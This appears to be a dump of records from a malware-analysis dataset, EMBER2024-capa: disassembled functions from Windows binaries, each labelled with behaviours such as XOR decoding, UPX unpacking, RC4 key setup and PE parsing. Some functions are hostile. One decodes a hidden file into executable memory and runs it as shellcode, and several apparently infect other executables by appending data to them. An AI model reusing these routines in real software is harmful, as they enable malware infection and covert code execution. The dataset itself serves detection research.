joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b5b9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000b656
push ebx
push esi
call fcn.1000b582
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000b4cb
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b603
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b655
push edi
push eax
call fcn.10009515
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000b623
call fcn.100094db
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b654
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000b4cb
add esp, 0x20
test eax, eax
jne 0x1000b642
push edi
call fcn.100094db
jmp 0x1000b64a
push ebx
call fcn.100094db
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10010920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001094d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001094d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402660
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Distribupsi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x408d90]
test eax, eax
je 0x4026b5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408d94]
test eax, eax
je 0x402701
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408d98]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408d98]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402728
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402755
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x402779
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40279b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4027cd
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x4027fd
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402836
push str.Distribupsi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Distribupsi
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x402857
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x403dc0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x427b60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x21000]
push edi
or ebp, 0xffffffff
jmp 0x427b82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x427b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x427b78
mov eax, 1
add ebx, ebx
jne 0x427b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x427b90
jne 0x427bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x427b90
xor ecx, ecx
sub eax, 3
jb 0x427bc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x427c32
mov ebp, eax
add ebx, ebx
jne 0x427bcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x427bd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x427bfc
inc ecx
add ebx, ebx
jne 0x427be8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x427bdd
jne 0x427bf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x427bdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x427c1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x427c0d
jmp 0x427b7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x427c1c
add edi, ecx
jmp 0x427b7e
pop esi
mov edi, esi
mov ecx, 0x43b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x427c3a
cmp byte [edi], 0
jne 0x427c3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x427c3f
lea edi, [esi + 0x25000]
Function at 0x401629
Capabilities:
Encrypt data using rc4 ksa
Manipulate console buffer

Disassembly:
sub esp, 0x4bc
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov eax, ebx
mov byte [eax + 0xa25640], al
inc eax
cmp eax, 0x100
jne 0x401637
mov ebp, dword [esp + 0x4d0]
mov edi, ebx
mov esi, ebx
mov dword [0xa25744], edi
mov dword [0xa25740], esi
cmp esi, 0x1bb1
jae 0x401686
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x2c]
push eax
push ebx
push 0x417418
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [0xa25740]
mov edi, dword [0xa25744]
xor edx, edx
mov eax, esi
div dword [esp + 0x4d4]
movzx eax, byte [esi + 0xa25640]
add edi, eax
movsx ecx, byte [edx + ebp]
add edi, ecx
mov dword [0xa25744], edi
cmp esi, 0x11f5
jae 0x4016f6
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x20]
push dword [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_OffsetClipRgn]
lea eax, [esp + 0xcc]
push eax
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov esi, dword [0xa25740]
mov edi, dword [0xa25744]
mov bl, byte [esi + 0xa25640]
and edi, 0xff
mov dword [0xa25744], edi
mov al, byte [edi + 0xa25640]
mov byte [esi + 0xa25640], al
cmp esi, 0x24db
jae 0x401733
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, dword [0xa25740]
mov edi, dword [0xa25744]
inc esi
mov byte [edi + 0xa25640], bl
mov dword [0xa25740], esi
push 0
pop ebx
cmp esi, 0x100
jne 0x40165c
and dword [0xa25744], ebx
and dword [0xa25740], ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4bc
ret 8
Function at 0x40bb84
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417890]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004083f3
mov dword [ebp - 0x14], eax
cmp dword [0xa26518], esi
jne 0x40bc77
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40bc04
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40bd57
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40bd57
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40bd57
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0xa26518], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x415038
push edi
mov dword [0xa2651c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0xa26520], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xa26528], eax
test eax, eax
je 0x40bc74
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xa26524], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40bc9c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40bc8f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40bcb1
push 4
pop eax
jmp 0x40bd59
cmp dword [ebp - 0x14], esi
je 0x40bcb1
push dword [0xa26518]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40bc96
mov eax, dword [0xa26524]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40bd0f
cmp dword [0xa26528], edi
je 0x40bd0f
push eax
call ebx
push dword [0xa26528]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40bd0f
test eax, eax
je 0x40bd0f
call ecx
test eax, eax
je 0x40bd04
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40bd04
test byte [ebp - 8], 1
jne 0x40bd0f
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40bd3f
mov eax, dword [0xa2651c]
cmp eax, edi
je 0x40bd3c
push eax
call ebx
test eax, eax
je 0x40bd3c
call eax
mov esi, eax
test esi, esi
je 0x40bd3c
mov eax, dword [0xa26520]
cmp eax, edi
je 0x40bd3c
push eax
call ebx
test eax, eax
je 0x40bd3c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0xa26518]
call ebx
test eax, eax
je 0x40bd57
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40bd59
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403668
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x412a10
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x401b16
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x4016e0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x2c]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov ecx, 7
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
call fcn.00404a84
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov edi, eax
call esi
lea ecx, [ebp - 0x50]
push ecx
push 0xf00ff
push edi
call fcn.00404b98
call esi
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x68]
push 0x405700
push eax
call edi
push eax
lea ecx, [ebp - 0x64]
push 0x404dc4
push ecx
call edi
push eax
call fcn.00404afc
call esi
lea edx, [ebp - 0x68]
lea eax, [ebp - 0x64]
push edx
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x5c]
lea edx, [ebp - 0x48]
mov dword [ebp - 0x4c], 1
push ecx
push edx
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x50]
push ecx
lea edx, [ebp - 0x4c]
push 0x1c
push edx
push ebx
push eax
mov dword [ebp - 0x40], 2
call fcn.00404b4c
call esi
push 0x412b13
jmp 0x412b12
ret

Function at 0x42bce7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
cmp byte [ecx], bl
push edi
mov dword [ebp - 4], ebx
mov edx, ecx
je 0x42bd01
inc edx
cmp byte [edx], bl
jne 0x42bcfc
mov esi, dword [ebp + 0x10]
dec edx
mov edi, esi
cmp edx, ecx
jb 0x42bd13
mov al, byte [edx]
dec edx
mov byte [edi], al
inc edi
jmp 0x42bd07
mov byte [edi], bl
cmp byte [esi], bl
mov edx, esi
je 0x42bd20
inc edx
cmp byte [edx], bl
jne 0x42bd1b
dec edx
cmp byte [ecx], bl
mov dword [ebp + 8], edx
mov edi, ecx
je 0x42bd2f
inc edi
cmp byte [edi], bl
jne 0x42bd2a
dec edi
cmp ecx, edi
jae 0x42bd4e
mov edx, esi
sub edx, ecx
mov al, byte [ecx]
xor byte [ecx + edx], al
movsx eax, byte [ecx + edx]
add dword [ebp - 4], eax
inc ecx
cmp ecx, edi
jb 0x42bd38
mov edx, dword [ebp + 8]
xor ebx, ebx
cmp esi, edx
mov ecx, esi
jae 0x42bd5a
inc ecx
dec edx
cmp ecx, edx
jb 0x42bd54
mov eax, dword [ebp - 4]
push 0xa
lea edi, [ecx - 1]
xor edx, edx
pop ecx
div ecx
mov eax, dword [ebp + 0xc]
add dl, 0x61
cmp esi, edi
ja 0x42bd88
mov cl, byte [esi]
and cl, 0xf
add cl, dl
mov byte [eax], cl
mov cl, byte [esi]
sar cl, 4
inc eax
add cl, dl
mov byte [eax], cl
inc eax
inc esi
jmp 0x42bd6d
pop edi
mov byte [eax], bl
pop esi
pop ebx
leave
ret
Function at 0x451c54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
pushal
call 0x451c60
pop ebx
sub ebx, 0x402c60
mov eax, 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x424642
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebx + fcn.00401291]
cmp eax, 0xffffffff
je 0x451de6
mov dword [ebp - 4], eax
push 2
push 0
push 0xfffffffffffffffc
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.00401311]
mov eax, dword [ebp - 8]
cmp eax, 0x424642
jne 0x451cd1
jmp 0x451ddd
push 0
push dword [ebp - 4]
call dword [ebx + 0x4012b9]
mov dword [ebp - 8], eax
cmp eax, 0x1000
jae 0x451ceb
jmp 0x451ddd
cmp eax, 0xe00000
jbe 0x451cf7
jmp 0x451ddd
or eax, eax
je 0x451de6
mov ecx, dword [ebp - 8]
add ecx, 0x6000
mov dword [ebp - 0x14], ecx
push 0
push ecx
push 0
push 4
push 0
push dword [ebp - 4]
call dword [ebx + 0x401295]
or eax, eax
je 0x451d95
mov dword [ebp - 0xc], eax
push dword [ebp - 0x14]
push 0
push 0
push 2
push dword [ebp - 0xc]
call dword [ebx + 0x401299]
or eax, eax
je 0x451d8c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x10]
cmp word [esi], 0x5a4d
je 0x451d50
jmp 0x451d83
mov eax, dword [esi + 0x3c]
cmp eax, 0x200
jbe 0x451d5c
jmp 0x451d83
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x451d69
jmp 0x451d83
push dword [ebp - 8]
push esi
push dword [ebp - 0x10]
call fcn.00451b2c
mov dword [ebp - 0x14], eax
push 0
push dword [ebp - 0x10]
call dword [ebx + 0x4012c5]
push dword [ebp - 0x10]
call dword [ebx + 0x40129d]
push dword [ebp - 0xc]
call dword [ebx + fcn.004012ad]
cmp dword [ebp - 0x14], 0
je 0x451ddd
mov eax, dword [ebp - 0x14]
sub eax, 4
push 0
push 0
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 8]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a1]
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
push dword [ebp - 4]
call dword [ebx + 0x4012a9]
push dword [ebp - 4]
call dword [ebx + fcn.004012ad]
popal
leave
ret 4
Function at 0x466c54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
pushal
call 0x466c60
pop ebx
sub ebx, 0x402c60
mov eax, 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x424642
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebx + fcn.00401291]
cmp eax, 0xffffffff
je 0x466de6
mov dword [ebp - 4], eax
push 2
push 0
push 0xfffffffffffffffc
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.00401311]
mov eax, dword [ebp - 8]
cmp eax, 0x424642
jne 0x466cd1
jmp 0x466ddd
push 0
push dword [ebp - 4]
call dword [ebx + 0x4012b9]
mov dword [ebp - 8], eax
cmp eax, 0x1000
jae 0x466ceb
jmp 0x466ddd
cmp eax, 0xe00000
jbe 0x466cf7
jmp 0x466ddd
or eax, eax
je 0x466de6
mov ecx, dword [ebp - 8]
add ecx, 0x6000
mov dword [ebp - 0x14], ecx
push 0
push ecx
push 0
push 4
push 0
push dword [ebp - 4]
call dword [ebx + 0x401295]
or eax, eax
je 0x466d95
mov dword [ebp - 0xc], eax
push dword [ebp - 0x14]
push 0
push 0
push 2
push dword [ebp - 0xc]
call dword [ebx + 0x401299]
or eax, eax
je 0x466d8c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x10]
cmp word [esi], 0x5a4d
je 0x466d50
jmp 0x466d83
mov eax, dword [esi + 0x3c]
cmp eax, 0x200
jbe 0x466d5c
jmp 0x466d83
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x466d69
jmp 0x466d83
push dword [ebp - 8]
push esi
push dword [ebp - 0x10]
call fcn.00466b2c
mov dword [ebp - 0x14], eax
push 0
push dword [ebp - 0x10]
call dword [ebx + 0x4012c5]
push dword [ebp - 0x10]
call dword [ebx + 0x40129d]
push dword [ebp - 0xc]
call dword [ebx + fcn.004012ad]
cmp dword [ebp - 0x14], 0
je 0x466ddd
mov eax, dword [ebp - 0x14]
sub eax, 4
push 0
push 0
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 8]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a1]
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
push dword [ebp - 4]
call dword [ebx + 0x4012a9]
push dword [ebp - 4]
call dword [ebx + fcn.004012ad]
popal
leave
ret 4
Function at 0x47bc54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
pushal
call 0x47bc60
pop ebx
sub ebx, 0x402c60
mov eax, 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x424642
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebx + fcn.00401291]
cmp eax, 0xffffffff
je 0x47bde6
mov dword [ebp - 4], eax
push 2
push 0
push 0xfffffffffffffffc
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.00401311]
mov eax, dword [ebp - 8]
cmp eax, 0x424642
jne 0x47bcd1
jmp 0x47bddd
push 0
push dword [ebp - 4]
call dword [ebx + 0x4012b9]
mov dword [ebp - 8], eax
cmp eax, 0x1000
jae 0x47bceb
jmp 0x47bddd
cmp eax, 0xe00000
jbe 0x47bcf7
jmp 0x47bddd
or eax, eax
je 0x47bde6
mov ecx, dword [ebp - 8]
add ecx, 0x6000
mov dword [ebp - 0x14], ecx
push 0
push ecx
push 0
push 4
push 0
push dword [ebp - 4]
call dword [ebx + 0x401295]
or eax, eax
je 0x47bd95
mov dword [ebp - 0xc], eax
push dword [ebp - 0x14]
push 0
push 0
push 2
push dword [ebp - 0xc]
call dword [ebx + 0x401299]
or eax, eax
je 0x47bd8c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x10]
cmp word [esi], 0x5a4d
je 0x47bd50
jmp 0x47bd83
mov eax, dword [esi + 0x3c]
cmp eax, 0x200
jbe 0x47bd5c
jmp 0x47bd83
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x47bd69
jmp 0x47bd83
push dword [ebp - 8]
push esi
push dword [ebp - 0x10]
call fcn.0047bb2c
mov dword [ebp - 0x14], eax
push 0
push dword [ebp - 0x10]
call dword [ebx + 0x4012c5]
push dword [ebp - 0x10]
call dword [ebx + 0x40129d]
push dword [ebp - 0xc]
call dword [ebx + fcn.004012ad]
cmp dword [ebp - 0x14], 0
je 0x47bddd
mov eax, dword [ebp - 0x14]
sub eax, 4
push 0
push 0
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 8]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a1]
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
push dword [ebp - 4]
call dword [ebx + 0x4012a9]
push dword [ebp - 4]
call dword [ebx + fcn.004012ad]
popal
leave
ret 4